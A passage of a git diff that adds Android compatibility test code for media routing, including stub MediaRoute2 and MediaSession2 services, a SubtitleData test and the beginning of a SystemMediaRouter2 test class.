+                        .addFeature(FEATURE_SAMPLE)
+                        .addFeature(FEATURE_SPECIAL)
+                        .build();
+        MediaRoute2Info fixedVolumeRoute =
+                new MediaRoute2Info.Builder(ROUTE_ID_FIXED_VOLUME, ROUTE_NAME_FIXED_VOLUME)
+                        .addFeature(FEATURE_SAMPLE)
+                        .setVolumeHandling(MediaRoute2Info.PLAYBACK_VOLUME_FIXED)
+                        .build();
+        MediaRoute2Info variableVolumeRoute =
+                new MediaRoute2Info.Builder(ROUTE_ID_VARIABLE_VOLUME, ROUTE_NAME_VARIABLE_VOLUME)
+                        .addFeature(FEATURE_SAMPLE)
+                        .setVolumeHandling(PLAYBACK_VOLUME_VARIABLE)
+                        .setVolume(INITIAL_VOLUME)
+                        .setVolumeMax(VOLUME_MAX)
+                        .build();
+
+        mRoutes.put(route1.getId(), route1);
+        mRoutes.put(route2.getId(), route2);
+        mRoutes.put(route3.getId(), route3);
+        mRoutes.put(route4.getId(), route4);
+        mRoutes.put(route5.getId(), route5);
+        mRoutes.put(routeSpecial.getId(), routeSpecial);
+        mRoutes.put(fixedVolumeRoute.getId(), fixedVolumeRoute);
+        mRoutes.put(variableVolumeRoute.getId(), variableVolumeRoute);
+    }
+
+    public static StubMediaRoute2ProviderService getInstance() {
+        synchronized (sLock) {
+            return sInstance;
+        }
+    }
+
+    public void clear() {
+        mProxy = null;
+        mRoutes.clear();
+        mRouteIdToSessionId.clear();
+        for (RoutingSessionInfo sessionInfo : getAllSessionInfo()) {
+            notifySessionReleased(sessionInfo.getId());
+        }
+    }
+
+    public void setProxy(@Nullable Proxy proxy) {
+        mProxy = proxy;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        synchronized (sLock) {
+            sInstance = this;
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        synchronized (sLock) {
+            if (sInstance == this) {
+                sInstance = null;
+            }
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return super.onBind(intent);
+    }
+
+    @Override
+    public void onSetRouteVolume(long requestId, String routeId, int volume) {
+        MediaRoute2Info route = mRoutes.get(routeId);
+        if (route == null) {
+            return;
+        }
+        volume = Math.max(0, Math.min(volume, route.getVolumeMax()));
+        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                .setVolume(volume)
+                .build());
+        publishRoutes();
+    }
+
+    @Override
+    public void onSetSessionVolume(long requestId, String sessionId, int volume) {
+        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
+        if (sessionInfo == null) {
+            return;
+        }
+        volume = Math.max(0, Math.min(volume, sessionInfo.getVolumeMax()));
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .setVolume(volume)
+                .build();
+        notifySessionUpdated(newSessionInfo);
+    }
+
+    @Override
+    public void onCreateSession(long requestId, String packageName, String routeId,
+            @Nullable Bundle sessionHints) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onCreateSession")) {
+            proxy.onCreateSession(requestId, packageName, routeId, sessionHints);
+            return;
+        }
+
+        MediaRoute2Info route = mRoutes.get(routeId);
+        if (route == null || TextUtils.equals(ROUTE_ID3_SESSION_CREATION_FAILED, routeId)) {
+            notifyRequestFailed(requestId, REASON_UNKNOWN_ERROR);
+            return;
+        }
+        maybeDeselectRoute(routeId, requestId);
+
+        final String sessionId = String.valueOf(mNextSessionId);
+        mNextSessionId++;
+
+        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                .setClientPackageName(packageName)
+                .build());
+        mRouteIdToSessionId.put(routeId, sessionId);
+
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(sessionId, packageName)
+                .addSelectedRoute(routeId)
+                .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
+                .setVolumeHandling(PLAYBACK_VOLUME_VARIABLE)
+                .setVolumeMax(SESSION_VOLUME_MAX)
+                .setVolume(SESSION_VOLUME_INITIAL)
+                // Set control hints with given sessionHints
+                .setControlHints(sessionHints)
+                .build();
+        notifySessionCreated(requestId, sessionInfo);
+        publishRoutes();
+    }
+
+    @Override
+    public void onReleaseSession(long requestId, String sessionId) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onReleaseSession")) {
+            proxy.onReleaseSession(requestId, sessionId);
+            return;
+        }
+
+        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
+        if (sessionInfo == null) {
+            return;
+        }
+
+        for (String routeId : sessionInfo.getSelectedRoutes()) {
+            mRouteIdToSessionId.remove(routeId);
+            MediaRoute2Info route = mRoutes.get(routeId);
+            if (route != null) {
+                mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                        .setClientPackageName(null)
+                        .build());
+            }
+        }
+        notifySessionReleased(sessionId);
+        publishRoutes();
+    }
+
+    @Override
+    public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onDiscoveryPreferenceChanged")) {
+            proxy.onDiscoveryPreferenceChanged(preference);
+            return;
+        }
+
+        // Just call the empty super method in order to mark the callback as tested.
+        super.onDiscoveryPreferenceChanged(preference);
+    }
+
+    @Override
+    public void onSelectRoute(long requestId, String sessionId, String routeId) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onSelectRoute")) {
+            proxy.onSelectRoute(requestId, sessionId, routeId);
+            return;
+        }
+
+        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
+        MediaRoute2Info route = mRoutes.get(routeId);
+        if (route == null || sessionInfo == null) {
+            return;
+        }
+        maybeDeselectRoute(routeId, requestId);
+
+        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                .setClientPackageName(sessionInfo.getClientPackageName())
+                .build());
+        mRouteIdToSessionId.put(routeId, sessionId);
+        publishRoutes();
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .addSelectedRoute(routeId)
+                .removeSelectableRoute(routeId)
+                .addDeselectableRoute(routeId)
+                .build();
+        notifySessionUpdated(newSessionInfo);
+    }
+
+    @Override
+    public void onDeselectRoute(long requestId, String sessionId, String routeId) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onDeselectRoute")) {
+            proxy.onDeselectRoute(requestId, sessionId, routeId);
+            return;
+        }
+
+        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
+        MediaRoute2Info route = mRoutes.get(routeId);
+
+        if (sessionInfo == null || route == null
+                || !sessionInfo.getSelectedRoutes().contains(routeId)) {
+            return;
+        }
+
+        mRouteIdToSessionId.remove(routeId);
+        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                .setClientPackageName(null)
+                .build());
+        publishRoutes();
+
+        if (sessionInfo.getSelectedRoutes().size() == 1) {
+            notifySessionReleased(sessionId);
+            return;
+        }
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .removeSelectedRoute(routeId)
+                .addSelectableRoute(routeId)
+                .removeDeselectableRoute(routeId)
+                .build();
+        notifySessionUpdated(newSessionInfo);
+    }
+
+    @Override
+    public void onTransferToRoute(long requestId, String sessionId, String routeId) {
+        Proxy proxy = mProxy;
+        if (doesProxyOverridesMethod(proxy, "onTransferToRoute")) {
+            proxy.onTransferToRoute(requestId, sessionId, routeId);
+            return;
+        }
+
+        RoutingSessionInfo sessionInfo = getSessionInfo(sessionId);
+        MediaRoute2Info route = mRoutes.get(routeId);
+
+        if (sessionInfo == null || route == null) {
+            return;
+        }
+
+        for (String selectedRouteId : sessionInfo.getSelectedRoutes()) {
+            mRouteIdToSessionId.remove(selectedRouteId);
+            MediaRoute2Info selectedRoute = mRoutes.get(selectedRouteId);
+            if (selectedRoute != null) {
+                mRoutes.put(selectedRouteId, new MediaRoute2Info.Builder(selectedRoute)
+                        .setClientPackageName(null)
+                        .build());
+            }
+        }
+
+        mRoutes.put(routeId, new MediaRoute2Info.Builder(route)
+                .setClientPackageName(sessionInfo.getClientPackageName())
+                .build());
+        mRouteIdToSessionId.put(routeId, sessionId);
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .clearSelectedRoutes()
+                .addSelectedRoute(routeId)
+                .removeDeselectableRoute(routeId)
+                .removeTransferableRoute(routeId)
+                .build();
+        notifySessionUpdated(newSessionInfo);
+        publishRoutes();
+    }
+
+    /**
+     * Adds a route and publishes it. It could replace a route in the provider if
+     * they have the same route id.
+     */
+    public void addRoute(@NonNull MediaRoute2Info route) {
+        Objects.requireNonNull(route, "route must not be null");
+        mRoutes.put(route.getOriginalId(), route);
+        publishRoutes();
+    }
+
+    /**
+     * Removes a route and publishes it.
+     */
+    public void removeRoute(@NonNull String routeId) {
+        Objects.requireNonNull(routeId, "routeId must not be null");
+        MediaRoute2Info route = mRoutes.get(routeId);
+        if (route != null) {
+            mRoutes.remove(routeId);
+            publishRoutes();
+        }
+    }
+
+    void maybeDeselectRoute(String routeId, long requestId) {
+        if (!mRouteIdToSessionId.containsKey(routeId)) {
+            return;
+        }
+
+        String sessionId = mRouteIdToSessionId.get(routeId);
+        onDeselectRoute(requestId, sessionId, routeId);
+    }
+
+    void publishRoutes() {
+        notifyRoutes(new ArrayList<>(mRoutes.values()));
+    }
+
+    public static class Proxy {
+        public void onCreateSession(long requestId, @NonNull String packageName,
+                @NonNull String routeId, @Nullable Bundle sessionHints) {}
+        public void onReleaseSession(long requestId, @NonNull String sessionId) {}
+        public void onSelectRoute(long requestId, @NonNull String sessionId,
+                @NonNull String routeId) {}
+        public void onDeselectRoute(long requestId, @NonNull String sessionId,
+                @NonNull String routeId) {}
+        public void onTransferToRoute(long requestId, @NonNull String sessionId,
+                @NonNull String routeId) {}
+        public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {}
+        // TODO: Handle onSetRouteVolume() && onSetSessionVolume()
+    }
+
+    private static boolean doesProxyOverridesMethod(Proxy proxy, String methodName) {
+        if (proxy == null) {
+            return false;
+        }
+        Method[] methods = proxy.getClass().getMethods();
+        if (methods == null) {
+            return false;
+        }
+        for (int i = 0; i < methods.length; i++) {
+            if (methods[i].getName().equals(methodName)) {
+                // Found method. Check if it overrides
+                return methods[i].getDeclaringClass() != Proxy.class;
+            }
+        }
+        return false;
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/StubMediaSession2Service.java b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaSession2Service.java
new file mode 100644
index 0000000..852a0fe
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/StubMediaSession2Service.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2Service;
+import android.media.Session2CommandGroup;
+import android.os.Process;
+
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.List;
+
+/**
+ * Stub implementation of {@link MediaSession2Service} for testing.
+ */
+public class StubMediaSession2Service extends MediaSession2Service {
+    /**
+     * ID of the session that this service will create.
+     */
+    private static final String ID = "StubMediaSession2Service";
+
+    @GuardedBy("StubMediaSession2Service.class")
+    private static HandlerExecutor sHandlerExecutor;
+    @GuardedBy("StubMediaSession2Service.class")
+    private static StubMediaSession2Service sInstance;
+    @GuardedBy("StubMediaSession2Service.class")
+    private static TestInjector sTestInjector;
+
+    public static void setHandlerExecutor(HandlerExecutor handlerExecutor) {
+        synchronized (StubMediaSession2Service.class) {
+            sHandlerExecutor = handlerExecutor;
+        }
+    }
+
+    public static StubMediaSession2Service getInstance() {
+        synchronized (StubMediaSession2Service.class) {
+            return sInstance;
+        }
+    }
+
+    public static void setTestInjector(TestInjector injector) {
+        synchronized (StubMediaSession2Service.class) {
+            sTestInjector = injector;
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        synchronized (StubMediaSession2Service.class) {
+            sInstance = this;
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        List<MediaSession2> sessions = getSessions();
+        for (MediaSession2 session : sessions) {
+            session.close();
+        }
+        synchronized (StubMediaSession2Service.class) {
+            if (sTestInjector != null) {
+                sTestInjector.onServiceDestroyed();
+            }
+            sInstance = null;
+        }
+        super.onDestroy();
+    }
+
+    @Override
+    public MediaNotification onUpdateNotification(MediaSession2 session) {
+        synchronized (StubMediaSession2Service.class) {
+            if (sTestInjector != null) {
+                sTestInjector.onUpdateNotification(session);
+            }
+            sInstance = null;
+        }
+        return null;
+    }
+
+    @Override
+    public MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+        synchronized (StubMediaSession2Service.class) {
+            if (sTestInjector != null) {
+                return sTestInjector.onGetSession(controllerInfo);
+            }
+        }
+        if (getSessions().size() > 0) {
+            return getSessions().get(0);
+        }
+        return new MediaSession2.Builder(this)
+                .setId(ID)
+                .setSessionCallback(sHandlerExecutor, new MediaSession2.SessionCallback() {
+                    @Override
+                    public Session2CommandGroup onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (controller.getUid() == Process.myUid()) {
+                            return new Session2CommandGroup.Builder().build();
+                        }
+                        return null;
+                    }
+                }).build();
+    }
+
+    public static abstract class TestInjector {
+        MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+            return null;
+        }
+
+        MediaNotification onUpdateNotification(MediaSession2 session) {
+            return null;
+        }
+
+        void onServiceDestroyed() {
+            // no-op
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/SubtitleDataTest.java b/tests/tests/media/misc/src/android/media/misc/cts/SubtitleDataTest.java
new file mode 100644
index 0000000..d2b6686
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/SubtitleDataTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.SubtitleData;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+
+import java.nio.charset.StandardCharsets;
+
+/**
+ * Tests for SubtitleData.
+ */
+@NonMediaMainlineTest
+public class SubtitleDataTest extends AndroidTestCase {
+    private static final String SUBTITLE_RAW_DATA = "RAW_DATA";
+
+    public void testSubtitleData() {
+        SubtitleData subtitle = new SubtitleData(1, 1000, 100, SUBTITLE_RAW_DATA.getBytes());
+        assertEquals(1, subtitle.getTrackIndex());
+        assertEquals(1000, subtitle.getStartTimeUs());
+        assertEquals(100, subtitle.getDurationUs());
+        assertEquals(SUBTITLE_RAW_DATA, new String(subtitle.getData(), StandardCharsets.UTF_8));
+    }
+
+    public void testSubtitleDataNullData() {
+        try {
+            SubtitleData subtitle2 = new SubtitleData(1, 0, 0, null);
+        } catch (IllegalArgumentException e) {
+            // Expected
+            return;
+        }
+        fail();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/SystemMediaRouter2Test.java b/tests/tests/media/misc/src/android/media/misc/cts/SystemMediaRouter2Test.java
new file mode 100644
index 0000000..4126daf
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/SystemMediaRouter2Test.java
@@ -0,0 +1,1051 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
+import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURE_SPECIAL;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID3_SESSION_CREATION_FAILED;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID_VARIABLE_VOLUME;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_NAME2;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.media.AudioManager;
+import android.media.MediaRoute2Info;
+import android.media.MediaRouter2;
+import android.media.MediaRouter2.ControllerCallback;
+import android.media.MediaRouter2.RouteCallback;
+import android.media.MediaRouter2.RoutingController;
+import android.media.MediaRouter2.TransferCallback;
+import android.media.MediaRouter2Manager;
+import android.media.RouteDiscoveryPreference;
+import android.media.RoutingSessionInfo;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.LargeTest;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
+@LargeTest
+@NonMediaMainlineTest
+public class SystemMediaRouter2Test {
+    private static final String TAG = "SystemMR2Test";
+
+    UiAutomation mUiAutomation;
+    Context mContext;
+    private MediaRouter2 mSystemRouter2ForCts;
+    private MediaRouter2 mAppRouter2;
+
+    private Executor mExecutor;
+    private AudioManager mAudioManager;
+    private StubMediaRoute2ProviderService mService;
+
+    private static final int TIMEOUT_MS = 5000;
+    private static final int WAIT_MS = 2000;
+
+    private RouteCallback mAppRouterPlaceHolderCallback = new RouteCallback() {};
+
+    private final List<RouteCallback> mRouteCallbacks = new ArrayList<>();
+    private final List<TransferCallback> mTransferCallbacks = new ArrayList<>();
+
+    public static final List<String> FEATURES_ALL = new ArrayList();
+    public static final List<String> FEATURES_SPECIAL = new ArrayList();
+
+    static {
+        FEATURES_ALL.add(FEATURE_SAMPLE);
+        FEATURES_ALL.add(FEATURE_SPECIAL);
+        FEATURES_ALL.add(FEATURE_LIVE_AUDIO);
+
+        FEATURES_SPECIAL.add(FEATURE_SPECIAL);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL,
+                                                   Manifest.permission.QUERY_AUDIO_STATE);
+
+        mExecutor = Executors.newSingleThreadExecutor();
+        mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        mSystemRouter2ForCts = MediaRouter2.getInstance(mContext, mContext.getPackageName());
+        mSystemRouter2ForCts.startScan();
+
+        mAppRouter2 = MediaRouter2.getInstance(mContext);
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouteCallbacks.add(mAppRouterPlaceHolderCallback);
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback, preference);
+
+        new PollingCheck(TIMEOUT_MS) {
+            @Override
+            protected boolean check() {
+                StubMediaRoute2ProviderService service =
+                        StubMediaRoute2ProviderService.getInstance();
+                if (service != null) {
+                    mService = service;
+                    return true;
+                }
+                return false;
+            }
+        }.run();
+        mService.initializeRoutes();
+        mService.publishRoutes();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mSystemRouter2ForCts.stopScan();
+
+        MediaRouter2TestActivity.finishActivity();
+        if (mService != null) {
+            mService.clear();
+            mService = null;
+        }
+
+        // order matters (callbacks should be cleared at the last)
+        releaseAllSessions();
+        // unregister callbacks
+        clearCallbacks();
+
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetInstanceWithInvalidPackageName() {
+        assertNull(MediaRouter2.getInstance(mContext, "com.non.existent.package.name"));
+    }
+
+    @Test
+    public void testGetInstanceReturnsSameInstance() {
+        assertSame(mSystemRouter2ForCts,
+                MediaRouter2.getInstance(mContext, mContext.getPackageName()));
+    }
+
+    @Test
+    public void testGetClientPackageName() {
+        assertEquals(mContext.getPackageName(), mSystemRouter2ForCts.getClientPackageName());
+    }
+
+    @Test
+    public void testGetSystemController() {
+        RoutingController controller = mSystemRouter2ForCts.getSystemController();
+        assertNotNull(controller);
+        // getSystemController() should always return the same instance.
+        assertSame(controller, mSystemRouter2ForCts.getSystemController());
+    }
+
+    @Test
+    public void testGetControllerReturnsNullForUnknownId() {
+        assertNull(mSystemRouter2ForCts.getController("nonExistentControllerId"));
+    }
+
+    @Test
+    public void testGetController() {
+        String systemControllerId = mSystemRouter2ForCts.getSystemController().getId();
+        RoutingController controllerById = mSystemRouter2ForCts.getController(systemControllerId);
+        assertNotNull(controllerById);
+        assertEquals(systemControllerId, controllerById.getId());
+    }
+
+    @Test
+    public void testGetAllRoutes() throws Exception {
+        waitAndGetRoutes(FEATURE_SPECIAL);
+
+        // Regardless of whether the app router registered its preference,
+        // getAllRoutes() will return all the routes.
+        boolean routeFound = false;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
+            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
+                routeFound = true;
+                break;
+            }
+        }
+        assertTrue(routeFound);
+    }
+
+    @Test
+    public void testGetRoutes() throws Exception {
+        // Since the app router haven't registered any preference yet,
+        // only the system routes will come out after creation.
+        assertTrue(mSystemRouter2ForCts.getRoutes().isEmpty());
+
+        waitAndGetRoutes(FEATURE_SPECIAL);
+
+        boolean routeFound = false;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getRoutes()) {
+            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
+                routeFound = true;
+                break;
+            }
+        }
+        assertTrue(routeFound);
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesAdded() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        MediaRoute2Info routeToAdd = new MediaRoute2Info.Builder("testRouteId", "testRouteName")
+                .addFeature(FEATURE_SAMPLE)
+                .build();
+
+        CountDownLatch addedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(routeToAdd.getOriginalId())
+                            && route.getName().equals(routeToAdd.getName())) {
+                        addedLatch.countDown();
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mService.addRoute(routeToAdd);
+        assertTrue(addedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesRemoved() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        waitAndGetRoutes(FEATURE_SAMPLE);
+
+        CountDownLatch removedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesRemoved(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(ROUTE_ID2)
+                            && route.getName().equals(ROUTE_NAME2)) {
+                        removedLatch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mService.removeRoute(ROUTE_ID2);
+        assertTrue(removedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testRouteCallbackOnRoutesChanged() throws Exception {
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
+
+        waitAndGetRoutes(FEATURE_SAMPLE);
+
+        MediaRoute2Info routeToChangeVolume = null;
+        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
+            if (TextUtils.equals(ROUTE_ID_VARIABLE_VOLUME, route.getOriginalId())) {
+                routeToChangeVolume = route;
+                break;
+            }
+        }
+        assertNotNull(routeToChangeVolume);
+
+        int targetVolume = routeToChangeVolume.getVolume() + 1;
+        CountDownLatch changedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getOriginalId().equals(ROUTE_ID_VARIABLE_VOLUME)
+                            && route.getVolume() == targetVolume) {
+                        changedLatch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+        mRouteCallbacks.add(routeCallback);
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        mSystemRouter2ForCts.setRouteVolume(routeToChangeVolume, targetVolume);
+        assertTrue(changedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+
+    @Test
+    public void testRouteCallbackOnRoutesChanged_whenLocalVolumeChanged() throws Exception {
+        if (mAudioManager.isVolumeFixed() || mAudioManager.isFullVolumeDevice()) {
+            return;
+        }
+
+        waitAndGetRoutes(FEATURE_LIVE_AUDIO);
+
+        final int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
+        final int originalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+
+        MediaRoute2Info selectedSystemRoute =
+                mSystemRouter2ForCts.getSystemController().getSelectedRoutes().get(0);
+
+        assertEquals(maxVolume, selectedSystemRoute.getVolumeMax());
+        assertEquals(originalVolume, selectedSystemRoute.getVolume());
+        assertEquals(PLAYBACK_VOLUME_VARIABLE, selectedSystemRoute.getVolumeHandling());
+
+        final int targetVolume = originalVolume == minVolume
+                ? originalVolume + 1 : originalVolume - 1;
+        final CountDownLatch latch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesChanged(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getId().equals(selectedSystemRoute.getId())
+                            && route.getVolume() == targetVolume) {
+                        latch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        try {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
+        }
+    }
+
+    @Test
+    public void testRouteCallbackOnPreferredFeaturesChanged() throws Exception {
+        String testFeature = "testFeature";
+        List<String> testFeatures = new ArrayList<>();
+        testFeatures.add(testFeature);
+
+        CountDownLatch featuresChangedLatch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onPreferredFeaturesChanged(List<String> preferredFeatures) {
+                if (preferredFeatures.contains(testFeature)) {
